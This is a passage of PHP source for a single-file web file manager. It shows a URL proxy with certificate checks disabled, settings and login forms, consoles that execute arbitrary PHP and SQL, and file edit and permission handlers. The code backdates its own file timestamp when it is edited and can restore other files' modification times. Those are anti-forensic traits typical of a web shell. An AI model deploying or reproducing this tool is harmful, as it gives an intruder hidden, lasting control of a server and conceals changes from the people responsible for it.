	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
